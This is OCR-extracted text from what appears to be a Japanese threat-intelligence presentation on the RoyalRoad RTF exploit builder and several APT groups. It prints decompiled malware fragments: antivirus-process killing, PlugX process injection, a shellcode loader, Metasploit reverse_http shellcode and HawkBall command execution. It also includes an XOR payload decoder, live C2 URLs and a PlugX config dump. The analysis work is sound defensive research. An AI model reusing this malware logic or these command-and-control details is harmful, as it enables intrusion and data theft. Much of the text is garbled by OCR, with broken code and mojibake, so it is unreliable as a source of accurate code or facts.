= if ( =ab 491569(

if ( sub 491560( 36@sd.exe”) )

BOOL result; //
DWORD v4; // [esp+
PROCESSENTRY32 pe; //

zUrl = L"0"; .
sub_4836F@(L"PccNTMon.exe™) Trend Micro napshot(2u, @);
yszUrl = L"4"; : ¥
sub_403 GCB(L"ccSvcHst.exe") Symantec e.dwSize = 296;
lpszUrl = L"1"; s
sub 4936r9(L McShield.exe") McAfe e
3 T : “ pe.dwSi
D dkJI d t if (P
] r

o 3 {
6OYBA p while ( strcmp(pe.szExeFile, al) )
{

pe.dwSize
if ¢ !Pr
goto LABEL_

Windows Defender

ve.th32ProcessID;

dw rd_4 int ( stdcall *)( DWORD, WORD) )¢ cchAddress(v9, "IsWowb4Process"”

40



avirra downloader

« 2019%E6 A ICRoyalRoadZ{#E > 7-HEEDrtfz FHEERE

« Royal Road%f#fF L'CEIZIK%i‘Tgﬂc‘:'d'% J X —ETickLhHoNT
WARW=®Tickk D=Ly x 7 & HI

File Name Compile Time T Submission  [Runkey Mutex Download URL Country

xcod.scr 2018-12-2503:04:25 2019-07-26 01:44:10 Ravirra PPGword http[:]//180.150.226[.]155

kaam.tmp.exe 2019-01-24 23:08:32 2019-06-28 06:35:33 - PPGword http[:]//www.longfeiye[.Jcom

0fef02bdbebd0a9580efd7cb2c14b1c023af79de 2019-07-24 17:04:24  2019-08-01 05:28:43 Ravirra CQFB http[:]//27.255.90[.]158

41
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hEZED 7 AV S

TREImsHr, RSkt
AFRRh. —BfnE :
B4, BuLEAETE.

FRERREWLERSHHRUEISAPTINE | KOS

& =5

Special Thanks!
Suguru Ishimaru-san
You Nakatsurusan


https://www.leiphone.com/news/201907/Y4lYXhYGbij9vCDa.html

main

« Yitemp%ICYERR T 5 7 7 1 L4

e avirra.exe

 CreateMutex
* PPGword
« CQFB

e N—FO—F3IN7=C2DURL

* Non-space UA
o User-AgenthiS#iny

do {
psVarl = (short *} ((int}local_2&0 + iVar3};
iVar3d = ivVard + 2;

} while (*psVarl !s.lila

_wcacat _s(local 280, Ox104,L"avi™):
_wcacat _s(local 280, Ox104,L"rra.e");
_wcacat_s(local 280, 0x104,L"xe™);
local 483c = L'\0";
FUN_004£59d0({local 48=z,0,0x208);
GetModuleFileNameW { (HMODULE) Ox0, &local 45c,0x104);
_wecsrchr{elocal 43c,L'\\');

_atrepy s(local 78,100,"Pcc™);

_atrecat_s(local 78,100,"NT."):
_atrcat_s(local 78,100, "exe™);

CreateThread ( (LPSECURITY ATTRIBUTES)O0x0,0,lpStarthddress 00401bce, local 78,0, (LPDWORD) 0x0) ;
hobject 4 CreateMutexh ( (LESECURITY AIIRIBUIES]Dxﬂ,ﬂ,“PPGword“]:I
[Ward = GetLastError():
if (DVard == 0xk7) {
CloseHandle (hOkj=ct)
_exic(0)r

}

local 698 = estack0xff 2
FUN_00401b8c { (undefined4 *1;http:ffwww.1Dngfeiye.comjphpcmﬂfmodulesfblockfblock_mndules.php“]

local &%c = estack0xfffffs

local & = 07

FUN_00401b8c { (undefined4 *]tHozillafé.D{compatible:HSIES.D:WindowsNTE.D:Iridentf4.ﬂ:“ H
local @al0 = estackOxfffffsf

local & = CONCAT31 (10Cal  fmleeempbee

FUN_00401b8c{{undefined4 ) "http://www.longfeiye.com/phpems,/modules/block/block.c3s™);
local & = OXEEEfEFfff;
FUN 004023£0(in stack £f
pcVarz = (code *)awi(3):

fc):

(*pcVarz) ()7
return;




TYFIAINLARY 7 FDEL

e PccNT.exeZ{E1ET 3

e TrendMicro

[EUI 5 ]

LA

(S-S I - 11

(1]

Wi bd R Ba Bd [d Ba Bd [J

L La L
LEUR 6 N =

do |
hibject = (HRNDLE)CreateToolhelp325napshot (2,0}
local 138[0] = O=l28;
iVar2 = Process32First (hObject,local 138)r
while (ivarz '= 0) |
pbVard = local 1147
pbVard = param 1:
do |
bWVarl = *pkbVar3i;
bVar5 = bVarl < *pbVard;
if (BVarl '= *phbVard) |
LAB 00401c30:
iVarZ = {1 - {(uint)bVars) - (uint) (cVard !'= false):
goto LAB 00401c35;
}
if (bvVarl == 0) break;
bVarl = pbVar3[1l];
bVarS = bVarl < pbVard[1]:
if (bVarl != pbVard4[l]}) goto LAB 00401lc30;
pbVar3 = pbVarl + 2;
pbVard = pbVard + 2;
} while ({k£Varl != 0};
ivarz = 07
LAR 00401c35:
if (ivaf2 = 0) {
hFrocess = OpenProceas(0x1fffff,0,local 130);
TerminateProcess (hProcess,0);

break;

1

iVar2 = Process32Next (hObjesct,local 138)r



AVY 7 FDH
e LA MNY—HF Ty IT B

* Symantec

e TrendMicro
360

lccal_beﬂ = "unkonw";

LVarl = RegOpenKeyExh ((HEEY)O0x280000002,

"S0FTWARE\\ Symantec\\Symantec Endpoint Protection\\CurrentVErﬂion',D,szﬂlls
~, (PHEEY)&local 587

=
al

=

%]

g

if (LVarl = 0} {
local 5ec = 1;
local 528 = (char *)0x400;
RegQueryValueExA (local 5£5, "PRODUCIVERSION™, (LPDWORD) 0x0, elocal S=c, (LPBYTE) local 5=4,
(LPDWORD) &local 5ed) 7
local 588 = (char *)local_ 5e4;
}
RegCloseBey(local S£8)»

.

o =1 &

[Ts]

[T VI VI VI VI VR O I I Y Y
(4]

31 LVarl = REgOpenKEyExA([HKEY]stﬂﬂﬂﬂﬂﬂzl“SOETHEBE\\IrEndHich\\AHSP“,h,DxZDllS,(PHKEY]&l:cal_afD H
32 if (Lvarl = 0) {

33 local 528 = (char *)0xl;

34 local 5ec = 0x400;

35 RegQueryValueExA (local 5£0, "TMFBE GUID", (LFDWORD)0x0, (LEDWORD) &local 5ed3, (LEBYTE) local 30,

36 glocal 5Sec);

37 local 58 = (char *)local 3f0;

38 }

39 RegCloaeKey(local _5£0);
40 LVarl = REgOpenREyExA([HKEY]DKSDDDUUUZ‘“SOETHEBE\RSEUSafE\\Liveup“IU,DxZDllS,(PHKEY]&l:cal_&f%]:
41 puvar2 = (undefined4 *)local 5ed:;

42 if (Lvarl == 0) {

43 local 528 = (char *)0xl;

44 local 5ec = 0x400;

45 RegQueryValueExA (local_ 5f4, (LECSTR) &lpValuslNams 0053£220, (LEDWORD) 0x0, (LFDWOED) &local S5e3,
48 (LEBYTE) local lfc,&local Sec);

47 puvVar2 = local 1fc;

43 1

49 RegCloseKey(local_5£4);




T

BEDES

UID=dHFmMdihxYTMBNTEWNDQ1Q0Y6Rw==& ws=NjQxMnVua29udw=

Base64 decode

SizePointer = @;

GetAdaptersInfo(@, &SizePointer);

vl = (struct _IP ADAPTER_INFO *)malloc(SizePointer};
GetAdaptersInfo(vl, &SizePointer};

vz = 8;

i F Tl B

46

tqfv (qa3<510445CF:G

xor "12345"

| hostname |

vle = 8;

l MAC Addr l

if { WsAStartup(2u, &WSAData) || (Destination =

exit(-1);
zz_GetAdaptersInfo({int)&Source);
strcat _s(&Destination, 8x188u, &name);
strcat_s(&Destination, 8x188u, &Source};
w7

vB = 2;
vl = 33
vie = 4;
vll = 5;

vl = strlen(&estination};
for ( 1 =8; 1 < vl; ++i )

User-PC5254004AAD21

@, memset(&v15, @, @xF

*(&Destination + i) ~= *{(_BYTE *)&7 + 4 * (1 % 5));

sub 481B9C(al, &Destination);
vlg = @:

Fu), gethostname(&name, 256)) )



[

/= a =
.1E d)‘ﬁ’?
UID=dHFmMdihxYTM8BNTEWNDQ1Q0Y6Rw==& ws=NjQxMnVua29udw=

if ((undefined *)register0x00000010 = (undefined *)0x438) | \ g

local 470 = "GetNativeSystemInfo”; | Base64 decode
hModule = GetModuleHandlel ("kernel32"): l OS bit I; 6412unkonw

pEVarl = GetProcRddress (hModule, local 470) 7

if (pFVarl == (FARRFROC)0x0) |
GetSystemInfo { (LESYSTEM INFO)&local 438);
1 va = 8;
elae | vl = LoadLibraryA({"ntdll.d11");
(*pFVarl) (slocal 438); w2 =_GetF'chddress{vi_l, "Rtlt_ietﬂtver.‘siunﬂumbers"_};
} ((void {__ stdcall *)}({dint *, int *, int *))v2)(&v6, &v5, &v4)
}
if {{local_ 438 = 3) || (local 470 = "32", local 438 = &)) { GetSystemInfo(&SystemInfo);
local 470 = ™&47; VersionInformation.dwOSVersionInfoSize = 156;
7 ve = "@"; .
if [ GetVersionExA{&VersionInformation} ) VersionA l_|J ,8 X
iU UKD 10Cal oeC;

: : i “B 1
11| undefinedd N’ switch ( VersionInformation.dwMajorVersion ) Q X <« O B
12 undefined4 local Sed [125]; {

13 | undefinedd local 3f0 [125]; AVWbTEY o Tpu6 4> case 4us

i: u“‘d""f’:"'_‘f?? jj:ﬁl—lf: [1251; "unknown"x type’) if { VersionInformation.dwMinorVersion }

2 uint local_ 57 {

16 if ( VersionInformation.dwMinorVersion == 18 )}

17 local_8 = DAT_0055bl€é4 ~ (uint)eastackOxfffffffc;

18 _Sec = ve = "3";

20 - RegOpenKeyExA{(HKEY] 0x80000002, else if { VersionInformation.dwMinorVersion == 98 )
21 "SOE‘IHARE\\Symantec\\Symantec Endpoint Protection\\CurrentVersion”,0,0x20119

22 , (PHKEY) &local_5£8);




Temp.Conimes



Temp.Conimes

cHRET7OTREZENE LEHET I X —
« FFICR M FLDPEREL>TWVDS
e NewCore RATYPlugx7: & % {FF
« FEABEELTWBEEDNTWS

Target Version 8.t Encode 11137 T1073 Drop name

1, 2, 4 F2 A3 20 72 No vsodscpl .dll
B2 A6 6D FF RasTls.dll
QcLite.dll
wsc.dll

49

Malware

tempfun
PlugX

NewCore RAT
GhOst RAT



[2019-05-23]
b82e0ac46t6b812c83a3954038814cce




[2019-05-23]
b82e0ac46t6b812c83a3954038814cce

Exploit & Create Decode & Execute
C.PWW (X
[3] B2 A6 6D FF )

Document 8.t Malware

Create & Execute

| |
R EXE DLL :
| |

Decode



[2019-05-23]
b82e0ac46t6b812c83a3954038814cce

QcConsol.exe stdole.tlb
Hoe [
® TLB
EXE DLL
QcLite.dll

Decode

FATTARTNTYAL  FALATYT

2010F3F 118 152854

52



data

[2019-05-23]
b82e0ac46t6b812c83a3954038814cce

e Fa—Fl3/Nn— Fa— FaXnr={Ecxor
e XTY FIZvzIa—FRAEET 3

(]

decode data=[]

with open("stdole

while True:

o
~
o

byte = f.read(1)

if byte:
data.append(byte)
break

v

Xorzkey =" [h 9 E3ocAt 6 003 s By w2y b @ A A eh e 8 2@l 3 e 8 AL B e e i
range(len(data)):

;[Ir

with open("out

53

i

decode data.append(int.from_bytes(data[i],

print(hex(decode data[i]))

bin",

'wb') as f:
f.write(bytearray(decode _data))

Little") ™ (xor_key[i % len(xor _key)]))

100014e8

100014ef

10001416

100014fd

10001504

1000150b

10001512

10001519

10001520

10001527

1000152e

10001535

1000153c¢

10001543

1000154a

10001551

10001558

1000155f

10001566

1000156d

10001574

10001576

10001578
1000157b
1000157d

1000157f
10001583
10001586
10001587
10001588
1000158a

dword ptr [
dword ptr [
dword ptr [
dword ptr [
dword ptr [
dword ptr [
dword ptr [
dword ptr [
dword ptr [
dword ptr [
dword ptr [
dword ptr [
dword ptr [
dword ptr [
dword ptr [
dword ptr [
dword ptr [
dword ptr [
dword ptr [

dword ptr [

param_1,0x28
param_1,param_1
,byte ptr [

byte ptr [ +

param_1
f =

*0x1] |

al_64],0x90005
0],0x40003
ocal_5c],0x90006
ocal_58],0x80003
4],0x60002
,0x10004
al_4c],0x50009
8],0x30005
al_44],0x20008
,0x10004
,0x80003
81,0x50004
al_34],0x70006
ocal_3@],0x70006
ocal_2c],0x30007
ocal_28],0x70008
ocal_24],0x60001
0],0x50003
al_lc],0x90007
local_18],0x5
XREF[1]:
XREF[1]: 1
+ par 1->unused*0x2 + -0x60



[2019-05-23]
b82e0ac46t6b812c83a3954038814cce

« NewCore RATHAEfTEIN B

HTTP REQUESTS.
Time

90552ms

90569ms

J3asurs
)3a908

pood43143

33ab48

54

« QcConsole.exe -LowlntegrityServer

7 a v CcEITEIND
e BIE/NR — VKD D B

y

HTTP code

CONNECTIONS 3 DNS REQUESTS 1 THREATS
Method Rep 1D Process
'; _GET ;J #A 4020 QcConsol.exe
| GET | # 4020 QcConsol.exe
LN

"http://%s:%d/link?url=Sss&enpl=Sss&encd=%s"
"quocphong.ministopld. com”

u"Mozilla/4.0 (compatible; MSIE 8.0; Win32)'

~

NETWORK

HTTP REQUESTS
Time
93530ms
150.00s

2

3003b458

0003b484
0003b485
0003b486
0003b487
0003b488
0003b489
0003b48a
0003b48b
0003b48c

CONNECTIONS

Class

3

URL

DNS REQUESTS

ID Process
4020 QcConsol.exe
4020 QcConsol.exe

u" -LowIntegrityServer"”

22h
06h
00h
00h
22h
00h
00h
00h
u"\\dllhst3g.exe"

IT] http:/ /quocphong.ministop14.com/link?url=maOVmKGmMDU 1 &enpl=0XcoVQ==&encd=XARIZTE=
[C] http:/ /quocphong.ministop14.com:8080/link?url=maOVmKGmMDU 1 &enpl=0XcoVQ==&encd =XARIZTE=

THREATS 2

ETPRO TROJAN NewcoreRAT HTTP CnC Pattern
ETPRO TROJAN NewcoreRAT HTTP CnC Pattern
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[2018-04-04]
d64161db3271t4ec91d458a00293c62h0

Phy luc 1: CHUONG TRINH HOAT DONG CNTT 2018

(kem theo ké hoach s6: /KH-UBND ngay thang

nam 2018cua UBND quan Hai Chau)

DU KIEN
KINH

TEN CHUGNG | TOM TAT MUC TIEU

,_ : 2 , PHI
TRINH., DU AN DU AN
(trieu

d E’mg)
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[2018-04-04]

d64161db32714ec91d458a00293c62b0

Exploit & Create

-

8.t

Decode & Execute

[1] F2 A3 20 72

HHH

Malware

Create & Execute
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[2018-04-04]
d64161db3271t4ec91d458a00293c62h0

c PlugXiZB A% E L1772 —b 803 FTxHhT77 42—
HMERT BRAT

« APT 26. APT31. APT41l, Calypso group. DragonOK. Emissary
Panda. Hellsing. Hurricane Panda. Leviathan, Nightshade
Panda. Stone Panda. UPS

ENS=S) S %3 (Shusei Tomonaga) January 29, 2015 " }
O ) o) ’ SN S 34 (Shusei Tomonaga)

Analysis of a Recent PlugX Variant - “P2P
PlugX”

PlugX + Poison lvy = Pluglvy? - PlugX
Integrating Poison lvy’s Code -



https://blogs.jpcert.or.jp/en/2015/01/analysis-of-a-r-ff05.html
https://blogs.jpcert.or.jp/en/2017/02/plugx-poison-iv-919a.html

[2018-04-04]

d64161db32714ec91d458a00293c62b0

vold _ fastcall (LPCWSTR param_1})

e RasTls.dllAdllhost.exerN v,

BOOL Bvarl;

PlugX% Injectd % e

_STARTUPINFOW local 32¢;
SIZE T local_2e8;
_PROCESS_INFORMATION local 2ed;
CONTEXT local_2d4;

uint local 8;

1000146d LAB_16001463 local_8 = DAT_10009000 ~ (uint)&stackoxfffffffc;
looo146f ECX, Ox6 if (param_1 != (LPCWSTR)Ox@) {
{{int *)&local_32c.lpReserved,0,0x40);

10001474 |E5I,u_xd11hust.exe_laaaaasa local_Zed.hProcess = (HANDLE)OxO;

local 2ed.hThread = (HANDLE)OxB;
10001479 ES:EDI,ESI=>u_\dllhost.exe 10008058 }Dca}—ﬁfj-j‘ﬁ;"“egiid =
1000147b EcX==local_210, [EBP + Oxfffffdfa] Joee e ainreade = B

(param_1, (LPWSTR) 8x0, (LPSECURITY ATTRIBUTES)@x@, (LPSECURITY ATTRIBUTES)0x0,0,4,

16601481 ES:EDT,EST=>u_\dllhost.exe_ 10008058 (LPVOID)6x0, (LPCWSTR)Bx0, (LPSTARTUPINFOW)&Local 32c,
10001483 (LPPROCESS_INFORMATION)&local 2e4);

((1int *)&local_2d4.Dr0,0,0x2c8);
local 2d4.ContextFlags = 0x1003F;
(local_2ed.hThread, (LPCONTEXT)&Local_2d4);
lpBaseAddress = {local_Zed.hProcess, (LPVOID)0x0,0x1fba3, 0x1000,0x48) ;
if (IlpBasedddress != (LPVOID)Ox0) {
local_2e8 = 0;
BVarl = {local_2ed.hProcess, lpBaseAddress,&LpBuffer_10009b30,0x1fba3,
&local 2e8):
if (Bvarl !=0) {
local 2d4.Eip = LlpBaseAddress;
(local_2ed.hThread,&local_2d4);
(Llocal 2ed . hThread);
Vard = txle;
do {




PlugX config

Volattitty Foundatton Voléitltty %;amework 2:6.1

[+] Searching memory by Yara rules.
[+] Detect malware by Yara rules.

[+] Process Name : dllhost.exe
[+] Process 1D : 4248

[+] Malware name plugx

[+] Base Address(VAD) 0x860000
[+] Size Ox2FOO0

Process: dllhost.exe (4248)

[Config Info]
version

Version Info
Config Size
Delete DLL list
File Delete

Key Logger
Unknown Flag
Sleep Timel
Sleep Time2
Network Activity
Server 1

server
server
Server
server
server
Server
server
server
Server

s DONO VB WN

59

3

Null
0x36A4
Disable
Disable
Enable
Disable
10 secs
0 secs
Everyday

WOUDERFULU.
WOUDERFULU.
WOUDERFULU.
WOUDERFULU.
WOUDERFULU.
.impresstravel.
.impresstravel.
WOUDERFULU.
WOUDERFULU.
WOUDERFULU.

WOUDERFULU
WOUDERFULU

impresstravel.
impresstravel.
impresstravel.
impresstravel.
Impresstravel.

impresstravel.
impresstravel.
impresstravel.

ga

ga:
ga:
ga:
ga:

ga

ga:

ga

ga:
ga:

:80 (Type 3)
80 (Type 4)
8001 (Type 4)
8001 (Type 3)
8080 (Type 3)
18088 (Type 4)
443 (Type 4)
1443 (Type 3)
53 (Type 3)
53 (Type 4)

develop by JPCERT

Server URL 1
Server URL 2
Server URL 3
server URL 4
Server URL 5
server URL 6

bln j ©1 x configA

—wiwer URL 14
server URL 15
server LRL 16

Auto Start

Install Folder
Service Name
Service Display Name
service Comment
Registry Subkey
Regilstry Key
Registry Value
Injection
Injection Processl
Injection Process2
Injection Process3
Injection Processd
UACBypass
UACBypass Processl
UACBypass Process?
UACBypass Process3
UACBvpass Processd

: Run Registry

! BAUTOX\QZWIELkSULKCYK

: msinfo

: msinfo

: msinfo service for windows.

: HKEY_CURRENT_USER

: Software\Microsoft\Windows\CurrentVersion\Run
2 VROCCmOKa

: Disable

: ¥windir¥\system32\svchost.exe
: Disable

o ¥windick\system32\msiexec.exe

server ID1 : TEST
Server ID2 : TEST
Mutex : My_Name
screen Capture : Disable

Screen Capture Folder :
: Disable

IP Scan

RAUTOX\emproxy\screen



Temp.Periscope



Temp.Periscope

e AU AT —AOYNGEZENE LI-RET I X —
« BHETCEUFRER DM T LIER
« BLACKCOFFEEX°DerusbiZx & %#1{£ 5
« EABESLTWAESEbNTWES

Target Version 8.t Encode 11137 T1073 Drop name Malware
F2 A3 20 72 No vsodscpl .dll Meterpreter

61



[2018-12-09]
5at6c9c49012dabd1468dcfa3f3e49al

Job resume

Greg Birch

PERSONAL INFORMATION




[2018-12-09]
5at6c9c49012dabd1468dcfa3f3e49al

Exploit & Create Decode & Execute
C.PWW (X
[1] F2 A3 20 72 )

8.t Malware

Create & Execute
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[2018-12-09]
5at6c9c49012dabd1468dcfa3f3e49al

spoolsv.exe vsodscpl

Load & Read

DLL

vsodscpl.dll

FhEH: S4UIAR PITVZL G4 LA50T

MchAfee, Inc.  shai 201118138 135018

Debug artifacts »

ChlUsers\Develop MM\ Desktophsc loaderBeleasehsc loader.pdb




[2018-12-09]
5at6c9c49012dabd1468dcfa3f3e49al

» vsodscpl & W5 ZEID T 7 1 )b (>z)a—"F) % s
H— F LT%%??% s_o_1000b928

3 ds
e DLL#& D sc loader.dll ds
s s_1000b92c
ds
e . - - 1l c
= (undefined4 *)((1nt) + 2); ds
} while (*(short *)((1nt) + 2) != 0): s p_1000b930
1060c4a? de vee loader dll ¥*(undefined4 *)((1nt) ir3 + 2) = 6x730076; T T ds
¥(undefinedd *)((1nt) + 6) = Ox640067; ds
¥*(undefined4 *)((1nt) + 10) = 06x630073;
¥*(undefinedd *)((int) + 0xe) = '
s dl1 wWinMain 1000c4f0 | XREF[1]: 1t *(undefined2 *)((int) + 0x12) = 0O:
1000c4f0 ds “dll_wWinMair i ( (wehar t #)"r*):
if = (FILE *)ox0) {
( ,0,2):
= { )
( ,0,0)
= (code *) ((LPVOID)Ox0,dwS1ze,0x3000 ), 0x40)
if ( I= (code *)0x0) {
( )
}
(* ) ()
1

65
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[2018-12-09]

5af6c9c49012dabd1468dcfa3f3e49§l

 Shellcode
e N—RFOdO—FEIMN7/IPLURL

 metasploit®dblock reverse http

_use_proxy_creds.asm

P

0ooo01do

000001d5

000001db

QEoo0219

BO00021e

LALL

ds

p B

LAD_0ouuus 1y
CALL

ds

! console - Scripting
shellcode hashes.py> Running...

0a08069b
opopa12f
0a00014b
00000165
0eeee17b
goeeo1as
0oEEe1%
poeeelar
080001b6
0a0801dc
oaeee1fo
ooooo204

rorl3AddHash32oll
rorl3AddHash32D11
rorl3AddHash32nll
rorl3AddHash32nll
rorl3AddHash3z2oll
rorl3AddHash3z2oll
rorl3AddHash3zoll
rorl3AddHash3zoll
rorl3AddHash3zoll
rorl3AddHash3z2oll
rorl3AddHash3z2oll
rorl3AddHash3z2nll

[kernel32.dll]LoadLibraryA
[wininet.dl1]InternetOpend
[wininet.dll]lInternetConnectA
[wininet.dl1l]HttpOpenRequestA
[wininet.dll]InternetSetOptionA
[wininet.dll]HttpSendRequestA
[kernel32.dll]GetLastError
[user32.dll]GetDesktopWindow
[wininet.dll]InternetErrorDlg
[kernel32.dl1]ExitProcess
[kernel32.dll]vVirtualAlloc
[wininet.dl1]InternetReadFile


https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_reverse_http_use_proxy_creds.asm

Temp.Trident



Temp.Trident

c FRFTISTEENE LI-WET I X —
c WY T7RZUNPEVDIL, V774 FTHREDPELIEN
s "OTIEHAYEEZH-o-TWEINS
« IceFog%k {5
e EABESELTWAEEDbNTWS

Target Version 8.t Encode 11137 T1073 Drop name Malware
F2 A3 20 72 No RasTls.dll IceFog

Sisfader
Reaver

68



[2018-03-07]
46d91a91ecdf9cOabc7355c4e7ctO8fc
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[2018-03-07]
46d91a91ecdf9cOabc7355c4e7ctO8fc

Document

Exploit & Create

-

8.t

Decode & Execute

[1] F2 A3 20 72

HHH

Malware

Create & Execute
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[2018-03-07]

46d91a91ecdf9cOabc7355c4e7ctO8fc

e lcefogDKEICEET Y1 — L&
ﬂlﬁ?"ﬁ v & ERT S

e FireEyell & » THRFRI N /-1cefogd
ﬁﬂ&: LRI S

Into the Fog - 11« Bl
The Return of ICEFOG APT

Chi-en (Ashley) Shen
Senior Researcher

% ClearSky Cyber Security

targeting Kazakhstan dropped form
"Poccuickuii urypuct Belvrpan aumHue OnuMmnuimnckue
urpbl PyeongChang B KOxHoi Kopee.doc” (Russian
figure skater won the PyeongChang Winter Olympics in
South Korea.doc). Side-loads RasTls.dll via
Symantec's RasTls.exe C2: kastygost.compress\.to



https://speakerdeck.com/ashley920/into-the-fog-the-return-of-icefog-apt

[2018-03-07]
46d91a91ecdf9cOabc7355c4e7ct08fc

e PVFY YRRy I RDEREL TNy THAH—K

X blu J et X E D ¢ cmd_ Execute the command received from C&C
download_ Download file from specified URL
eax ; 1pThreadld
UL L e ; dwCreationFlags
A7 1 & bhd = 8 ; lpParameter
e Soeat Sias offset sub_ 10007630 1pStartAddress . :
463 {"enter MainFunction"): o dnStacksue File loading from the server to computer.
R4 Tnral sd4 = -l e ; 1pThreadAttributes
- o = ds:CreateThread
[ebp+var_208C], eax
sub_10003C00
[ebp+hThread], ©
offset outputstring - [ EEEINRIENSEE
ds OutputoebugStringA
LEA EA¥==local 18, [EBP + -0Ox14] Gentle reminder for entering the main function
PUSH EAX TR =
_ . : (<] s:GetSystenTime
CALL dword ptr [-=KERNEL32.DLL::GetSystemTime] Soir| ork, Eiy Syntating w¥enr]
movzx edx, [ebp+SystemTime.wMonth]
MOVZX EC¥,word ptr [EEF + local 18] imul  ecx, 64h ;
MOVZX EDX,word ptr [EEF + local 16] movzx  eax, [ebptSystemTime.wDay] .
IMUL ECX,ECK . Bx54 - add ecx, edx Anti
i ; imul  ecx, 64h ; 'd sandbox?
MOVZX EH_:x_,wu.rd ptr [EBF + local_12] ladd ecx, eax ‘
ADD ECK,EDX cmp ecx, 1332AC9h 20130505 €ede—(removed) raf-code-from-file-to-memery
TMUL ECK,ECK,0xG64 le short loc_1088AASC
ADD ELALEA Check if system date < 20130505
CMP ECH,0x1332ac9 s
@ New supported commands ==




TA428




TA428

c BT OTENE LTEHET I X —
« Operation LagTime ITEWH F ¥ o R—2DT I R —
« EVIIN, AV TREDNERIEZER
« PoisonIvy*°Cotx RATZ{£ S
- FEPBEELTWEEEDNTWLS

Target Version 8.t Encode 11137 T1073

RU, MN 4, 5, 6a, B2 A6 6D FF Yes winhelp.wll Poisonlvy
6b BO 74 77 46

Drop name Malware

inteldrives.wll Cotx RAT (KeyBoy)
useless.wll Danti

74
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[2019-03-06]

6che776b26b3d4bh3030a8e9cdaft/bfa2

% = WHO®OPMALIMOHHOE MNCbMO 25.04.19.doc [HiE ] - Word &Y=

Tr Al =LA A YL LA79k BEEN ZEUAHE L) EON FTUA LA79h  Q RATURWMEEEZ AL TN .

calibri (%0748 <111 - A A Aa- z == e -2 HTH | b7
.ﬂx‘ﬁM'\ILT - B T U- e X,

TR

PUJTHAJI BOEHHOTI'O
YYEBHO-HAYYHOTI'O IEHTPA
BOEHHO-BO3JYIIHBIX CHJI
«BOEHHO-BO3YUIHASA
AKAJIEMUSA
HUMEHHU [TPOPECCOPA
H.E. KYKOBCKOI'O
U 10.A. TATAPUHA»
B r. CbI3PAHHU
HH®OPMAIIMOHHOE ITHCBMO

YBakaemble DYKOBOJIHTEIH H HAYIHO-IeJaroruueckne padoTHHKH
o0pa3oBaTeIbHBIX OPraHU3ANNIl, HpuriIamaeM Bac npunsaTh yuactne B padore IV
Bcepoccuiickoii mexarornveckoii Hay4Hoii KongepeHmun
«IIpod.ieMbI H cOBpeMeHHbIE HAIIPABJICHHS PA3BHTHSI 00PA30BAHHS

B 00,IACTH 22POHABHTAIIHA»
25 - 26 anpeus 2019 roxa

Iean: obcyxaeHHe U BBIpaOOTKA IPEUIOKEHHH I10 PpEIICHHI0 aKTYallbHBIX
po

"MIHOOPMALIMOHHOE MUCbMO 25.04.19.doc": # 6,919 XF

HTE
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[2019-03-06]

6che776b26b3d4bh3030a8e9cdaft/bfa?

=

DOCX

Document

Exploit & Create

Open with

Decode & Execute
: [2] BO 74 77 46

8.t

WINWORD.exe

WordSec.wll



[2019-03-06]
oche776b26b3d4b3030a8e9cdaf/bfa2
e HawkBal 113£20194E |2 &35 L 7-RAT R

(0x202 -

o 77U R—IIDWVWTORREIBRILAE LD, ; stoeal, o9); . o,

= (*{undefined4 *)**{undefined4 **)(

TA4A28 L IR DE & TTPsHALEM T 27D FK 4 - o'

( 0,0x3f);
\ AN E e
Daram 1L = UX4U;
FEEET S RAFEE L TWD )
(& ,&param_1)
= ();
= ();
= "IsWowb4Process
= Ox2(
=0
= ("kernel32")
= ( - )
Command Qperation Performed . T T T Tt .
© E blp XD “
= (param_1 + 1,param_1, (LPSECURITY_ATTRIBUTES)& 0);
if | = 0) {
(¥ ¥
(*local_8);
(% ¥
(% ):
return 0;
}
[ (LPSTARTUPINFOA)& );
.ch = Ox44;

.wShowWindow = 0;

.hstdInput = param_1[1];

hStdoutput = # :

/* WARNING: Store size is ilnaccurate */
*{undefined *){LPPROCESS_INFORMATION) (param_1 + 4) = ZEXT816(0);
.dwFlags = 0x101;
.hStdError = JhStdOutput;
= ( (LPCSTR)0x0, , (LPSECURITY_ATTRIBUTES)}Ox0, (LPSECURITY_ATTRIBUTES)Ox0,1

,0x%20, (LPVOID)@x0, {LPCSTR)@x0, (LPSTARTUPINFOA)&
(LPPROCESS_INFORMATION) (param_1 + 4});

77


https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html

[2020-01-09]
T1b211t519941aftd9eecOab7456ec78b8

Exploit & Create Decode & Execute
. o
BO 74 77 46 HHH

8.t useless.wll

| —L Open with E‘
E— . .

DOCX EXE Execute EXE Execute EXE

Document WINWORD. exe rundl1l32.exe Cotx RAT
(PoisonlIvy)

78



Cotx RAT

* TAA287MEMH I SRAT
e Tropic Trooperh (9 % —EBMDKEYBOY & BT B A A b NT-
* Tropic Trooper 3 TA428?

cotx_and_keyboy {

Posted

author = "st
5 Author:

date =

hashl =
hash2 =
hash3 =
hash4 =
hash5 =

n Roth"

rendmicro.

by Jaromir Horejsi, Joey Chen, and Joseph C. Chen

A A P A A A o

L R T R R R RV RV T BT )
OB WNMFHEFULEWND
| Il I

»
v o0
PN NNNNNNNRMRMRSPMSSMOUD & WN M-S

w
)

O o~
I

W
)



https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/
https://github.com/Neo23x0/signature-base/blob/master/yara/apt_keyboys.yar

Tonto




Tonto

W7V TZENE LE-HET I X —
- O T7XREE, HAL EAEHIEZEDN
e Bisonal¥®Z O HHE % fF 5
« MEABESLTWBEEDNTWS

Target Version 8.t Encode 11137 T1073 Drop name

RU, KR, 5, 7a No encode winhelp.wll
MN BO 74 77 46 intel.wll

81

Malware

Bisonal
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[2019-12-25]
591409alae9d9ece9ft4cell/edcd4df39

Exploit & Create

Decode & Execute
BO 74 77 46

8.t

intel.wll

e

Document

Open with E‘
[ _

EXE

WINWORD.exe

Ee

Execute Download & Execute
EXE EXE

accicons.exe
(Bisonal)

AdobeARM. exe
(Bisonal)



Bisonal

c AT 7, EBE, BAZNKRE LI-APTERAIN - LRHB NNy I KT
« TO— FAEIZIEADH S

2 |pint (void)
3
« xor, JHENE 4|t
5 int *piVarl;
6 wuint uvar2;
-
rule bisonal strings 8 pivarl = % 0
{ 9 [ wuVar2 = piVarl[S] * 0x343fd + 0x269ec3;
meta: 0 pivarl[5] = uvar2;
e 1| return uvar2 >> 0x10 & 0x7fff;
date = "2020-01-15" 2 [}
